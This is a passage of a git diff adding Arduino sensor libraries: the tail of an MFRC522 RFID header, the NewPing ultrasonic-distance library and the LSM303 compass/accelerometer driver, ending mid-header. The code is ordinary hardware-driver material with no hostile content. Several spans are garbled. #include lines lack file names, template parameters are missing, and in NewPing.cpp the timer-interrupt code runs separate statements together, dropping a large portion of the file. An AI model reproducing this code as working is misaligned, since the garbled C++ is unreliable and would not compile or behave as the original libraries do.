logErrors); + bool MIFARE_UnbrickUidSector(bool logErrors); + + ///////////////////////////////////////////////////////////////////////////////////// + // Convenience functions - does not add extra functionality + ///////////////////////////////////////////////////////////////////////////////////// + bool PICC_IsNewCardPresent(); + bool PICC_ReadCardSerial(); + +private: + byte _chipSelectPin; // Arduino pin connected to MFRC522's SPI slave select input (Pin 24, NSS, active low) + byte _resetPowerDownPin; // Arduino pin connected to MFRC522's reset and power down input (Pin 6, NRSTPD, active low) + byte MIFARE_TwoStepHelper(byte command, byte blockAddr, long data); +}; + +#endif diff --git a/libraries/PLabLib3/NewPing.cpp b/libraries/PLabLib3/NewPing.cpp new file mode 100755 index 0000000..edf0135 --- /dev/null +++ b/libraries/PLabLib3/NewPing.cpp @@ -0,0 +1,231 @@ +// --------------------------------------------------------------------------- +// Created by Tim Eckel - teckel@leethost.com +// Copyright 2012 License: GNU GPL v3 http://www.gnu.org/licenses/gpl-3.0.html +// +// See "NewPing.h" for purpose, syntax, version history, links, and more. +// --------------------------------------------------------------------------- + +#include "NewPing.h" + + +// --------------------------------------------------------------------------- +// NewPing constructor +// --------------------------------------------------------------------------- + +NewPing::NewPing(uint8_t trigger_pin, uint8_t echo_pin, int max_cm_distance) { + _triggerBit = digitalPinToBitMask(trigger_pin); // Get the port register bitmask for the trigger pin. + _echoBit = digitalPinToBitMask(echo_pin); // Get the port register bitmask for the echo pin. + + _triggerOutput = portOutputRegister(digitalPinToPort(trigger_pin)); // Get the output port register for the trigger pin. + _echoInput = portInputRegister(digitalPinToPort(echo_pin)); // Get the input port register for the echo pin. + + _triggerMode = (uint8_t *) portModeRegister(digitalPinToPort(trigger_pin)); // Get the port mode register for the trigger pin. + + _maxEchoTime = min(max_cm_distance, MAX_SENSOR_DISTANCE) * US_ROUNDTRIP_CM + (US_ROUNDTRIP_CM / 2); // Calculate the maximum distance in uS. + +#if DISABLE_ONE_PIN == true + *_triggerMode |= _triggerBit; // Set trigger pin to output. +#endif +} + + +// --------------------------------------------------------------------------- +// Standard ping methods +// --------------------------------------------------------------------------- + +unsigned int NewPing::ping() { + if (!ping_trigger()) return NO_ECHO; // Trigger a ping, if it returns false, return NO_ECHO to the calling function. + while (*_echoInput & _echoBit) // Wait for the ping echo. + if (micros() > _max_time) return NO_ECHO; // Stop the loop and return NO_ECHO (false) if we're beyond the set maximum distance. + return (micros() - (_max_time - _maxEchoTime) - 5); // Calculate ping time, 5uS of overhead. +} + + +unsigned int NewPing::ping_in() { + unsigned int echoTime = NewPing::ping(); // Calls the ping method and returns with the ping echo distance in uS. + return NewPingConvert(echoTime, US_ROUNDTRIP_IN); // Convert uS to inches. +} + + +unsigned int NewPing::ping_cm() { + unsigned int echoTime = NewPing::ping(); // Calls the ping method and returns with the ping echo distance in uS. + return NewPingConvert(echoTime, US_ROUNDTRIP_CM); // Convert uS to centimeters. +} + + +unsigned int NewPing::ping_median(uint8_t it) { + unsigned int uS[it], last; + uint8_t j, i = 0; + uS[0] = NO_ECHO; + while (i < it) { + last = ping(); // Send ping. + if (last == NO_ECHO) { // Ping out of range. + it--; // Skip, don't include as part of median. + last = _maxEchoTime; // Adjust "last" variable so delay is correct length. + } else { // Ping in range, include as part of median. + if (i > 0) { // Don't start sort till second ping. + for (j = i; j > 0 && uS[j - 1] < last; j--) // Insertion sort loop. + uS[j] = uS[j - 1]; // Shift ping array to correct position for sort insertion. + } else j = 0; // First ping is starting point for sort. + uS[j] = last; // Add last ping to array in sorted position. + i++; // Move to next ping. + } + if (i < it) delay(PING_MEDIAN_DELAY - (last >> 10)); // Millisecond delay between pings. + } + return (uS[it >> 1]); // Return the ping distance median. +} + + +// --------------------------------------------------------------------------- +// Standard ping method support functions (not called directly) +// --------------------------------------------------------------------------- + +boolean NewPing::ping_trigger() { +#if DISABLE_ONE_PIN != true + *_triggerMode |= _triggerBit; // Set trigger pin to output. +#endif + *_triggerOutput &= ~_triggerBit; // Set the trigger pin low, should already be low, but this will make sure it is. + delayMicroseconds(4); // Wait for pin to go low, testing shows it needs 4uS to work every time. + *_triggerOutput |= _triggerBit; // Set trigger pin high, this tells the sensor to send out a ping. + delayMicroseconds(10); // Wait long enough for the sensor to realize the trigger pin is high. Sensor specs say to wait 10uS. + *_triggerOutput &= ~_triggerBit; // Set trigger pin back to low. +#if DISABLE_ONE_PIN != true + *_triggerMode &= ~_triggerBit; // Set trigger pin to input (when using one Arduino pin this is technically setting the echo pin to input as both are tied to the same Arduino pin). +#endif + + _max_time = micros() + MAX_SENSOR_DELAY; // Set a timeout for the ping to trigger. + while (*_echoInput & _echoBit && micros() <= _max_time) {} // Wait for echo pin to clear. + while (!(*_echoInput & _echoBit)) // Wait for ping to start. + if (micros() > _max_time) return false; // Something went wrong, abort. + + _max_time = micros() + _maxEchoTime; // Ping started, set the timeout. + return true; // Ping started successfully. +} + + +// --------------------------------------------------------------------------- +// Timer interrupt ping methods (won't work with ATmega8 and ATmega128) +// --------------------------------------------------------------------------- + +void NewPing::ping_timer(void (*userFunc)(void)) { + if (!ping_trigger()) return; // Trigger a ping, if it returns false, return without starting the echo timer. + timer_us(ECHO_TIMER_FREQ, userFunc); // Set ping echo timer check every ECHO_TIMER_FREQ uS. +} + + +boolean NewPing::check_timer() { + if (micros() > _max_time) { // Outside the timeout limit. + timer_stop(); // Disable timer interrupt + return false; // Cancel ping timer. + } + + if (!(*_echoInput & _echoBit)) { // Ping echo received. + timer_stop(); // Disable timer interrupt + ping_result = (micros() - (_max_time - _maxEchoTime) - 13); // Calculate ping time, 13uS of overhead. + return true; // Return ping echo true. + } + + return false; // Return false because there's no ping echo yet. +} + + +// --------------------------------------------------------------------------- +// Timer2/Timer4 interrupt methods (can be used for non-ultrasonic needs) +// --------------------------------------------------------------------------- + +// Variables used for timer functions +void (*intFunc)(); +void (*intFunc2)(); +unsigned long _ms_cnt_reset; +volatile unsigned long _ms_cnt; + + +void NewPing::timer_us(unsigned int frequency, void (*userFunc)(void)) { + timer_setup(); // Configure the timer interrupt. + intFunc = userFunc; // User's function to call when there's a timer event. + +#if defined (__AVR_ATmega32U4__) // Use Timer4 for ATmega32U4 (Teensy/Leonardo). + OCR4C = min((frequency>>2) - 1, 255); // Every count is 4uS, so divide by 4 (bitwise shift right 2) subtract one, then make sure we don't go over 255 limit. + TIMSK4 = (1<>2) - 1, 255); // Every count is 4uS, so divide by 4 (bitwise shift right 2) subtract one, then make sure we don't go over 255 limit. + TIMSK2 |= (1<= 100 + #include +#else + #include + #include +#endif + +#include +#include + +// Shoudln't need to changed these values unless you have a specific need to do so. +#define MAX_SENSOR_DISTANCE 500 // Maximum sensor distance can be as high as 500cm, no reason to wait for ping longer than sound takes to travel this distance and back. +#define US_ROUNDTRIP_IN 146 // Microseconds (uS) it takes sound to travel round-trip 1 inch (2 inches total), uses integer to save compiled code space. +#define US_ROUNDTRIP_CM 57 // Microseconds (uS) it takes sound to travel round-trip 1cm (2cm total), uses integer to save compiled code space. +#define DISABLE_ONE_PIN false // Set to "true" to save up to 26 bytes of compiled code space if you're not using one pin sensor connections. + +// Probably shoudln't change these values unless you really know what you're doing. +#define NO_ECHO 0 // Value returned if there's no ping echo within the specified MAX_SENSOR_DISTANCE or max_cm_distance. +#define MAX_SENSOR_DELAY 18000 // Maximum uS it takes for sensor to start the ping (SRF06 is the highest measured, just under 18ms). +#define ECHO_TIMER_FREQ 24 // Frequency to check for a ping echo (every 24uS is about 0.4cm accuracy). +#define PING_MEDIAN_DELAY 29 // Millisecond delay between pings in the ping_median method. + +// Conversion from uS to distance (round result to nearest cm or inch). +#define NewPingConvert(echoTime, conversionFactor) (max((echoTime + conversionFactor / 2) / conversionFactor, (echoTime ? 1 : 0))) + + +class NewPing { + public: + NewPing(uint8_t trigger_pin, uint8_t echo_pin, int max_cm_distance = MAX_SENSOR_DISTANCE); + unsigned int ping(); + unsigned int ping_in(); + unsigned int ping_cm(); + unsigned int ping_median(uint8_t it = 5); + unsigned int convert_in(unsigned int echoTime); + unsigned int convert_cm(unsigned int echoTime); + void ping_timer(void (*userFunc)(void)); + boolean check_timer(); + unsigned long ping_result; + static void timer_us(unsigned int frequency, void (*userFunc)(void)); + static void timer_ms(unsigned long frequency, void (*userFunc)(void)); + static void timer_stop(); + private: + boolean ping_trigger(); + boolean ping_wait_timer(); + uint8_t _triggerBit; + uint8_t _echoBit; + volatile uint8_t *_triggerOutput; + volatile uint8_t *_triggerMode; + volatile uint8_t *_echoInput; + unsigned int _maxEchoTime; + unsigned long _max_time; + static void timer_setup(); + static void timer_ms_cntdwn(); +}; + + +#endif \ No newline at end of file diff --git a/libraries/PLabLib4/LSM303.cpp b/libraries/PLabLib4/LSM303.cpp new file mode 100755 index 0000000..338925c --- /dev/null +++ b/libraries/PLabLib4/LSM303.cpp @@ -0,0 +1,570 @@ +#include +#include +#include + +// Defines //////////////////////////////////////////////////////////////// + +// The Arduino two-wire interface uses a 7-bit number for the address, +// and sets the last bit correctly based on reads and writes +#define D_SA0_HIGH_ADDRESS 0b0011101 // D with SA0 high +#define D_SA0_LOW_ADDRESS 0b0011110 // D with SA0 low or non-D magnetometer +#define NON_D_MAG_ADDRESS 0b0011110 // D with SA0 low or non-D magnetometer +#define NON_D_ACC_SA0_LOW_ADDRESS 0b0011000 // non-D accelerometer with SA0 low +#define NON_D_ACC_SA0_HIGH_ADDRESS 0b0011001 // non-D accelerometer with SA0 high + +#define TEST_REG_NACK -1 + +#define D_WHO_ID 0x49 +#define DLM_WHO_ID 0x3C + +// Constructors //////////////////////////////////////////////////////////////// + +LSM303::LSM303(void) +{ + /* + These values lead to an assumed magnetometer bias of 0. + Use the Calibrate example program to determine appropriate values + for your particular unit. The Heading example demonstrates how to + adjust these values in your own sketch. + */ + m_min = (LSM303::vector){-32767, -32767, -32767}; + m_max = (LSM303::vector){+32767, +32767, +32767}; + + _device = device_auto; + + io_timeout = 0; // 0 = no timeout + did_timeout = false; +} + +// Public Methods ////////////////////////////////////////////////////////////// + +// Did a timeout occur in readAcc(), readMag(), or read() since the last call to timeoutOccurred()? +bool LSM303::timeoutOccurred() +{ + bool tmp = did_timeout; + did_timeout = false; + return tmp; + +} + +void LSM303::setTimeout(unsigned int timeout) +{ + io_timeout = timeout; +} + +unsigned int LSM303::getTimeout() +{ + return io_timeout; +} + +bool LSM303::init(deviceType device, sa0State sa0) +{ + // determine device type if necessary + if (device == device_auto) + { + if (testReg(D_SA0_HIGH_ADDRESS, WHO_AM_I) == D_WHO_ID) + { + // device responds to address 0011101 with D ID; it's a D with SA0 high + device = device_D; + sa0 = sa0_high; + } + else if (testReg(D_SA0_LOW_ADDRESS, WHO_AM_I) == D_WHO_ID) + { + // device responds to address 0011110 with D ID; it's a D with SA0 low + device = device_D; + sa0 = sa0_low; + } + // Remaining possibilities: DLHC, DLM, or DLH. DLHC seems to respond to WHO_AM_I request the + // same way as DLM, even though this register isn't documented in its datasheet, so instead, + // guess if it's a DLHC based on acc address (Pololu boards pull SA0 low on DLM and DLH; + // DLHC doesn't have SA0 but uses same acc address as DLH/DLM with SA0 high). + else if (testReg(NON_D_ACC_SA0_HIGH_ADDRESS, CTRL_REG1_A) != TEST_REG_NACK) + { + // device responds to address 0011001; guess that it's a DLHC + device = device_DLHC; + sa0 = sa0_high; + } + // Remaining possibilities: DLM or DLH. Check acc with SA0 low address to make sure it's responsive + else if (testReg(NON_D_ACC_SA0_LOW_ADDRESS, CTRL_REG1_A) != TEST_REG_NACK) + { + // device responds to address 0011000 with DLM ID; guess that it's a DLM + sa0 = sa0_low; + + // Now check WHO_AM_I_M + if (testReg(NON_D_MAG_ADDRESS, WHO_AM_I_M) == DLM_WHO_ID) + { + device = device_DLM; + } + else + { + device = device_DLH; + } + } + else + { + // device hasn't responded meaningfully, so give up + return false; + } + } + + // determine SA0 if necessary + if (sa0 == sa0_auto) + { + if (device == device_D) + { + if (testReg(D_SA0_HIGH_ADDRESS, WHO_AM_I) == D_WHO_ID) + { + sa0 = sa0_high; + } + else if (testReg(D_SA0_LOW_ADDRESS, WHO_AM_I) == D_WHO_ID) + { + sa0 = sa0_low; + } + else + { + // no response on either possible address; give up + return false; + } + } + else if (device == device_DLM || device == device_DLH) + { + if (testReg(NON_D_ACC_SA0_HIGH_ADDRESS, CTRL_REG1_A) != TEST_REG_NACK) + { + sa0 = sa0_high; + } + else if (testReg(NON_D_ACC_SA0_LOW_ADDRESS, CTRL_REG1_A) != TEST_REG_NACK) + { + sa0 = sa0_low; + } + else + { + // no response on either possible address; give up + return false; + } + } + } + + _device = device; + + // set device addresses and translated register addresses + switch (device) + { + case device_D: + acc_address = mag_address = (sa0 == sa0_high) ? D_SA0_HIGH_ADDRESS : D_SA0_LOW_ADDRESS; + translated_regs[-OUT_X_L_M] = D_OUT_X_L_M; + translated_regs[-OUT_X_H_M] = D_OUT_X_H_M; + translated_regs[-OUT_Y_L_M] = D_OUT_Y_L_M; + translated_regs[-OUT_Y_H_M] = D_OUT_Y_H_M; + translated_regs[-OUT_Z_L_M] = D_OUT_Z_L_M; + translated_regs[-OUT_Z_H_M] = D_OUT_Z_H_M; + break; + + case device_DLHC: + acc_address = NON_D_ACC_SA0_HIGH_ADDRESS; // DLHC doesn't have SA0 but uses same acc address as DLH/DLM with SA0 high + mag_address = NON_D_MAG_ADDRESS; + translated_regs[-OUT_X_H_M] = DLHC_OUT_X_H_M; + translated_regs[-OUT_X_L_M] = DLHC_OUT_X_L_M; + translated_regs[-OUT_Y_H_M] = DLHC_OUT_Y_H_M; + translated_regs[-OUT_Y_L_M] = DLHC_OUT_Y_L_M; + translated_regs[-OUT_Z_H_M] = DLHC_OUT_Z_H_M; + translated_regs[-OUT_Z_L_M] = DLHC_OUT_Z_L_M; + break; + + case device_DLM: + acc_address = (sa0 == sa0_high) ? NON_D_ACC_SA0_HIGH_ADDRESS : NON_D_ACC_SA0_LOW_ADDRESS; + mag_address = NON_D_MAG_ADDRESS; + translated_regs[-OUT_X_H_M] = DLM_OUT_X_H_M; + translated_regs[-OUT_X_L_M] = DLM_OUT_X_L_M; + translated_regs[-OUT_Y_H_M] = DLM_OUT_Y_H_M; + translated_regs[-OUT_Y_L_M] = DLM_OUT_Y_L_M; + translated_regs[-OUT_Z_H_M] = DLM_OUT_Z_H_M; + translated_regs[-OUT_Z_L_M] = DLM_OUT_Z_L_M; + break; + + case device_DLH: + acc_address = (sa0 == sa0_high) ? NON_D_ACC_SA0_HIGH_ADDRESS : NON_D_ACC_SA0_LOW_ADDRESS; + mag_address = NON_D_MAG_ADDRESS; + translated_regs[-OUT_X_H_M] = DLH_OUT_X_H_M; + translated_regs[-OUT_X_L_M] = DLH_OUT_X_L_M; + translated_regs[-OUT_Y_H_M] = DLH_OUT_Y_H_M; + translated_regs[-OUT_Y_L_M] = DLH_OUT_Y_L_M; + translated_regs[-OUT_Z_H_M] = DLH_OUT_Z_H_M; + translated_regs[-OUT_Z_L_M] = DLH_OUT_Z_L_M; + break; + } + return true; +} + +/* +Enables the LSM303's accelerometer and magnetometer. Also: +- Sets sensor full scales (gain) to default power-on values, which are + +/- 2 g for accelerometer and +/- 1.3 gauss for magnetometer + (+/- 4 gauss on LSM303D). +- Selects 50 Hz ODR (output data rate) for accelerometer and 7.5 Hz + ODR for magnetometer (6.25 Hz on LSM303D). (These are the ODR + settings for which the electrical characteristics are specified in + the datasheets.) +- Enables high resolution modes (if available). +Note that this function will also reset other settings controlled by +the registers it writes to. +*/ +void LSM303::enableDefault(void) +{ + + if (_device == device_D) + { + // Accelerometer + + // 0x57 = 0b01010111 + // AFS = 0 (+/- 2 g full scale) + writeReg(CTRL2, 0x00); + + // 0x57 = 0b01010111 + // AODR = 0101 (50 Hz ODR); AZEN = AYEN = AXEN = 1 (all axes enabled) + writeReg(CTRL1, 0x57); + + // Magnetometer + + // 0x64 = 0b01100100 + // M_RES = 11 (high resolution mode); M_ODR = 001 (6.25 Hz ODR) + writeReg(CTRL5, 0x64); + + // 0x20 = 0b00100000 + // MFS = 01 (+/- 4 gauss full scale) + writeReg(CTRL6, 0x20); + + // 0x00 = 0b00000000 + // MLP = 0 (low power mode off); MD = 00 (continuous-conversion mode) + writeReg(CTRL7, 0x00); + } + else if (_device == device_DLHC) + { + // Accelerometer + + // 0x08 = 0b00001000 + // FS = 00 (+/- 2 g full scale); HR = 1 (high resolution enable) + writeAccReg(CTRL_REG4_A, 0x08); + + // 0x47 = 0b01000111 + // ODR = 0100 (50 Hz ODR); LPen = 0 (normal mode); Zen = Yen = Xen = 1 (all axes enabled) + writeAccReg(CTRL_REG1_A, 0x47); + + // Magnetometer + + // 0x0C = 0b00001100 + // DO = 011 (7.5 Hz ODR) + writeMagReg(CRA_REG_M, 0x0C); + + // 0x20 = 0b00100000 + // GN = 001 (+/- 1.3 gauss full scale) + writeMagReg(CRB_REG_M, 0x20); + + // 0x00 = 0b00000000 + // MD = 00 (continuous-conversion mode) + writeMagReg(MR_REG_M, 0x00); + } + else // DLM, DLH + { + // Accelerometer + + // 0x00 = 0b00000000 + // FS = 00 (+/- 2 g full scale) + writeAccReg(CTRL_REG4_A, 0x00); + + // 0x27 = 0b00100111 + // PM = 001 (normal mode); DR = 00 (50 Hz ODR); Zen = Yen = Xen = 1 (all axes enabled) + writeAccReg(CTRL_REG1_A, 0x27); + + // Magnetometer + + // 0x0C = 0b00001100 + // DO = 011 (7.5 Hz ODR) + writeMagReg(CRA_REG_M, 0x0C); + + // 0x20 = 0b00100000 + // GN = 001 (+/- 1.3 gauss full scale) + writeMagReg(CRB_REG_M, 0x20); + + // 0x00 = 0b00000000 + // MD = 00 (continuous-conversion mode) + writeMagReg(MR_REG_M, 0x00); + } +} + +// Writes an accelerometer register +void LSM303::writeAccReg(regAddr reg, byte value) +{ + Wire.beginTransmission(acc_address); + Wire.write((byte)reg); + Wire.write(value); + last_status = Wire.endTransmission(); +} + +// Reads an accelerometer register +byte LSM303::readAccReg(regAddr reg) +{ + byte value; + + Wire.beginTransmission(acc_address); + Wire.write((byte)reg); + last_status = Wire.endTransmission(); + Wire.requestFrom(acc_address, (byte)1); + value = Wire.read(); + Wire.endTransmission(); + + return value; +} + +// Writes a magnetometer register +void LSM303::writeMagReg(regAddr reg, byte value) +{ + Wire.beginTransmission(mag_address); + Wire.write((byte)reg); + Wire.write(value); + last_status = Wire.endTransmission(); +} + +// Reads a magnetometer register +byte LSM303::readMagReg(regAddr reg) +{ + byte value; + + // if dummy register address (magnetometer Y/Z), look up actual translated address (based on device type) + if (reg < 0) + { + reg = translated_regs[-reg]; + } + + Wire.beginTransmission(mag_address); + Wire.write((byte)reg); + last_status = Wire.endTransmission(); + Wire.requestFrom(mag_address, (byte)1); + value = Wire.read(); + Wire.endTransmission(); + + return value; +} + +void LSM303::writeReg(regAddr reg, byte value) +{ + // mag address == acc_address for LSM303D, so it doesn't really matter which one we use. + // Use writeMagReg so it can translate OUT_[XYZ]_[HL]_M + if (_device == device_D || reg < CTRL_REG1_A) + { + writeMagReg(reg, value); + } + else + { + writeAccReg(reg, value); + } +} + +// Note that this function will not work for reading TEMP_OUT_H_M and TEMP_OUT_L_M on the DLHC. +// To read those two registers, use readMagReg() instead. +byte LSM303::readReg(regAddr reg) +{ + // mag address == acc_address for LSM303D, so it doesn't really matter which one we use. + // Use writeMagReg so it can translate OUT_[XYZ]_[HL]_M + if (_device == device_D || reg < CTRL_REG1_A) + { + return readMagReg(reg); + } + else + { + return readAccReg(reg); + } +} + +// Reads the 3 accelerometer channels and stores them in vector a +void LSM303::readAcc(void) +{ + Wire.beginTransmission(acc_address); + // assert the MSB of the address to get the accelerometer + // to do slave-transmit subaddress updating. + Wire.write(OUT_X_L_A | (1 << 7)); + last_status = Wire.endTransmission(); + Wire.requestFrom(acc_address, (byte)6); + + unsigned int millis_start = millis(); + while (Wire.available() < 6) { + if (io_timeout > 0 && ((unsigned int)millis() - millis_start) > io_timeout) + { + did_timeout = true; + return; + } + } + + byte xla = Wire.read(); + byte xha = Wire.read(); + byte yla = Wire.read(); + byte yha = Wire.read(); + byte zla = Wire.read(); + byte zha = Wire.read(); + + // combine high and low bytes + // This no longer drops the lowest 4 bits of the readings from the DLH/DLM/DLHC, which are always 0 + // (12-bit resolution, left-aligned). The D has 16-bit resolution + a.x = (int16_t)(xha << 8 | xla); + a.y = (int16_t)(yha << 8 | yla); + a.z = (int16_t)(zha << 8 | zla); +} + +// Reads the 3 magnetometer channels and stores them in vector m +void LSM303::readMag(void) +{ + Wire.beginTransmission(mag_address); + // If LSM303D, assert MSB to enable subaddress updating + // OUT_X_L_M comes first on D, OUT_X_H_M on others + Wire.write((_device == device_D) ? translated_regs[-OUT_X_L_M] | (1 << 7) : translated_regs[-OUT_X_H_M]); + last_status = Wire.endTransmission(); + Wire.requestFrom(mag_address, (byte)6); + + unsigned int millis_start = millis(); + while (Wire.available() < 6) { + if (io_timeout > 0 && ((unsigned int)millis() - millis_start) > io_timeout) + { + did_timeout = true; + return; + } + } + + byte xlm, xhm, ylm, yhm, zlm, zhm; + + if (_device == device_D) + { + /// D: X_L, X_H, Y_L, Y_H, Z_L, Z_H + xlm = Wire.read(); + xhm = Wire.read(); + ylm = Wire.read(); + yhm = Wire.read(); + zlm = Wire.read(); + zhm = Wire.read(); + } + else + { + // DLHC, DLM, DLH: X_H, X_L... + xhm = Wire.read(); + xlm = Wire.read(); + + if (_device == device_DLH) + { + // DLH: ...Y_H, Y_L, Z_H, Z_L + yhm = Wire.read(); + ylm = Wire.read(); + zhm = Wire.read(); + zlm = Wire.read(); + } + else + { + // DLM, DLHC: ...Z_H, Z_L, Y_H, Y_L + zhm = Wire.read(); + zlm = Wire.read(); + yhm = Wire.read(); + ylm = Wire.read(); + } + } + + // combine high and low bytes + m.x = (int16_t)(xhm << 8 | xlm); + m.y = (int16_t)(yhm << 8 | ylm); + m.z = (int16_t)(zhm << 8 | zlm); +} + +// Reads all 6 channels of the LSM303 and stores them in the object variables +void LSM303::read(void) +{ + readAcc(); + readMag(); +} + +/* +Returns the angular difference in the horizontal plane between a +default vector and north, in degrees. + +The default vector here is chosen to point along the surface of the +PCB, in the direction of the top of the text on the silkscreen. +This is the +X axis on the Pololu LSM303D carrier and the -Y axis on +the Pololu LSM303DLHC, LSM303DLM, and LSM303DLH carriers. +*/ +float LSM303::heading(void) +{ + if (_device == device_D) + { + return heading((vector){1, 0, 0}); + } + else + { + return heading((vector){0, -1, 0}); + } +} + +/* +Returns the angular difference in the horizontal plane between the +"from" vector and north, in degrees. + +Description of heading algorithm: +Shift and scale the magnetic reading based on calibration data to find +the North vector. Use the acceleration readings to determine the Up +vector (gravity is measured as an upward acceleration). The cross +product of North and Up vectors is East. The vectors East and North +form a basis for the horizontal plane. The From vector is projected +into the horizontal plane and the angle between the projected vector +and horizontal north is returned. +*/ +template float LSM303::heading(vector from) +{ + vector temp_m = {m.x, m.y, m.z}; + + // subtract offset (average of min and max) from magnetometer readings + temp_m.x -= ((int32_t)m_min.x + m_max.x) / 2; + temp_m.y -= ((int32_t)m_min.y + m_max.y) / 2; + temp_m.z -= ((int32_t)m_min.z + m_max.z) / 2; + + // compute E and N + vector E; + vector N; + vector_cross(&temp_m, &a, &E); + vector_normalize(&E); + vector_cross(&a, &E, &N); + vector_normalize(&N); + + // compute heading + float heading = atan2(vector_dot(&E, &from), vector_dot(&N, &from)) * 180 / M_PI; + if (heading < 0) heading += 360; + return heading; +} + +template void LSM303::vector_cross(const vector *a,const vector *b, vector *out) +{ + out->x = (a->y * b->z) - (a->z * b->y); + out->y = (a->z * b->x) - (a->x * b->z); + out->z = (a->x * b->y) - (a->y * b->x); +} + +template float LSM303::vector_dot(const vector *a, const vector *b) +{ + return (a->x * b->x) + (a->y * b->y) + (a->z * b->z); +} + +void LSM303::vector_normalize(vector *a) +{ + float mag = sqrt(vector_dot(a, a)); + a->x /= mag; + a->y /= mag; + a->z /= mag; +} + +// Private Methods ////////////////////////////////////////////////////////////// + +int LSM303::testReg(byte address, regAddr reg) +{ + Wire.beginTransmission(address); + Wire.write((byte)reg); + last_status = Wire.endTransmission(); + + Wire.requestFrom(address, (byte)1); + if (Wire.available()) + return Wire.read(); + else + return TEST_REG_NACK; +} \ No newline at end of file diff --git a/libraries/PLabLib4/LSM303.h b/libraries/PLabLib4/LSM303.h new file mode 100755 index 0000000..159f632 --- /dev/null +++ b/libraries/PLabLib4/LSM303.h @@ -0,0 +1,218 @@ +#ifndef LSM303_h +#define LSM303_h + +#include // for byte data type + +class LSM303 +{ + public: + template struct vector + { + T x, y, z; + }; + + enum deviceType { device_DLH, device_DLM, device_DLHC, device_D, device_auto }; + enum sa0State { sa0_low, sa0_high, sa0_auto }; + + // register addresses + enum regAddr + { + TEMP_OUT_L = 0x05, // D + TEMP_OUT_H = 0x06, // D + + STATUS_M = 0x07, // D + + INT_CTRL_M = 0x12, // D + INT_SRC_M = 0x13, // D + INT_THS_L_M = 0x14, // D + INT_THS_H_M = 0x15, // D + + OFFSET_X_L_M = 0x16, // D + OFFSET_X_H_M = 0x17, // D + OFFSET_Y_L_M = 0x18, // D + OFFSET_Y_H_M = 0x19, // D + OFFSET_Z_L_M = 0x1A, // D + OFFSET_Z_H_M = 0x1B, // D + REFERENCE_X = 0x1C, // D + REFERENCE_Y = 0x1D, // D + REFERENCE_Z = 0x1E, // D + + CTRL0 = 0x1F, // D + CTRL1 = 0x20, // D + CTRL_REG1_A = 0x20, // DLH, DLM, DLHC + CTRL2 = 0x21, // D + CTRL_REG2_A = 0x21, // DLH, DLM, DLHC + CTRL3 = 0x22, // D + CTRL_REG3_A = 0x22, // DLH, DLM, DLHC + CTRL4 = 0x23, // D + CTRL_REG4_A = 0x23, // DLH, DLM, DLHC + CTRL5 = 0x24, // D + CTRL_REG5_A = 0x24, // DLH, DLM, DLHC + CTRL6 = 0x25, // D + CTRL_REG6_A = 0x25, // DLHC + HP_FILTER_RESET_A = 0x25, // DLH, DLM + CTRL7 = 0x26, // D + REFERENCE_A = 0x26, // DLH, DLM, DLHC + STATUS_A = 0x27, // D + STATUS_REG_A = 0x27, // DLH, DLM, DLHC + + OUT_X_L_A = 0x28, + OUT_X_H_A = 0x29, + OUT_Y_L_A = 0x2A, + OUT_Y_H_A = 0x2B, + OUT_Z_L_A = 0x2C, + OUT_Z_H_A = 0x2D, + + FIFO_CTRL = 0x2E, // D + FIFO_CTRL_REG_A = 0x2E, // DLHC + FIFO_SRC = 0x2F, // D + FIFO_SRC_REG_A = 0x2F, // DLHC + + IG_CFG1 = 0x30, // D + INT1_CFG_A = 0x30, // DLH, DLM, DLHC + IG_SRC1 = 0x31, // D + INT1_SRC_A = 0x31, // DLH, DLM, DLHC + IG_THS1 = 0x32, // D + INT1_THS_A = 0x32, // DLH, DLM, DLHC + IG_DUR1 = 0x33, // D + INT1_DURATION_A = 0x33, // DLH, DLM, DLHC + IG_CFG2 = 0x34, // D + INT2_CFG_A = 0x34, // DLH, DLM, DLHC + IG_SRC2 = 0x35, // D + INT2_SRC_A = 0x35, // DLH, DLM, DLHC + IG_THS2 = 0x36, // D + INT2_THS_A = 0x36, // DLH, DLM, DLHC + IG_DUR2 = 0x37, // D + INT2_DURATION_A = 0x37, // DLH, DLM, DLHC + + CLICK_CFG = 0x38, // D + CLICK_CFG_A = 0x38, // DLHC + CLICK_SRC = 0x39, // D + CLICK_SRC_A = 0x39, // DLHC + CLICK_THS = 0x3A, // D + CLICK_THS_A = 0x3A, // DLHC + TIME_LIMIT = 0x3B, // D + TIME_LIMIT_A = 0x3B, // DLHC + TIME_LATENCY = 0x3C, // D + TIME_LATENCY_A = 0x3C, // DLHC + TIME_WINDOW = 0x3D, // D + TIME_WINDOW_A = 0x3D, // DLHC + + Act_THS = 0x3E, // D + Act_DUR = 0x3F, // D + + CRA_REG_M = 0x00, // DLH, DLM, DLHC + CRB_REG_M = 0x01, // DLH, DLM, DLHC + MR_REG_M = 0x02, // DLH, DLM, DLHC + + SR_REG_M = 0x09, // DLH, DLM, DLHC + IRA_REG_M = 0x0A, // DLH, DLM, DLHC + IRB_REG_M = 0x0B, // DLH, DLM, DLHC + IRC_REG_M = 0x0C, // DLH, DLM, DLHC + + WHO_AM_I_M = 0x0F, // DLM + WHO_AM_I = 0x0F, // D + + TEMP_OUT_H_M = 0x31, // DLHC + TEMP_OUT_L_M = 0x32, // DLHC + + + // dummy addresses for registers in different locations on different devices; + // the library translates these based on device type + // value with sign flipped is used as index into translated_regs array + + OUT_X_H_M = -1, + OUT_X_L_M = -2, + OUT_Y_H_M = -3, + OUT_Y_L_M = -4, + OUT_Z_H_M = -5, + OUT_Z_L_M = -6, + // update dummy_reg_count if registers are added here! + + // device-specific register addresses + + DLH_OUT_X_H_M = 0x03, + DLH_OUT_X_L_M = 0x04, + DLH_OUT_Y_H_M = 0x05, + DLH_OUT_Y_L_M = 0x06, + DLH_OUT_Z_H_M = 0x07, + DLH_OUT_Z_L_M = 0x08, + + DLM_OUT_X_H_M = 0x03, + DLM_OUT_X_L_M = 0x04, + DLM_OUT_Z_H_M = 0x05, + DLM_OUT_Z_L_M = 0x06, + DLM_OUT_Y_H_M = 0x07, + DLM_OUT_Y_L_M = 0x08, + + DLHC_OUT_X_H_M = 0x03, + DLHC_OUT_X_L_M = 0x04, + DLHC_OUT_Z_H_M = 0x05, + DLHC_OUT_Z_L_M = 0x06, + DLHC_OUT_Y_H_M = 0x07, + DLHC_OUT_Y_L_M = 0x08, + + D_OUT_X_L_M = 0x08, + D_OUT_X_H_M = 0x09, + D_OUT_Y_L_M = 0x0A, + D_OUT_Y_H_M = 0x0B, + D_OUT_Z_L_M = 0x0C, + D_OUT_Z_H_M = 0x0D + }; + + vector a; // accelerometer readings + vector m; // magnetometer readings + vector 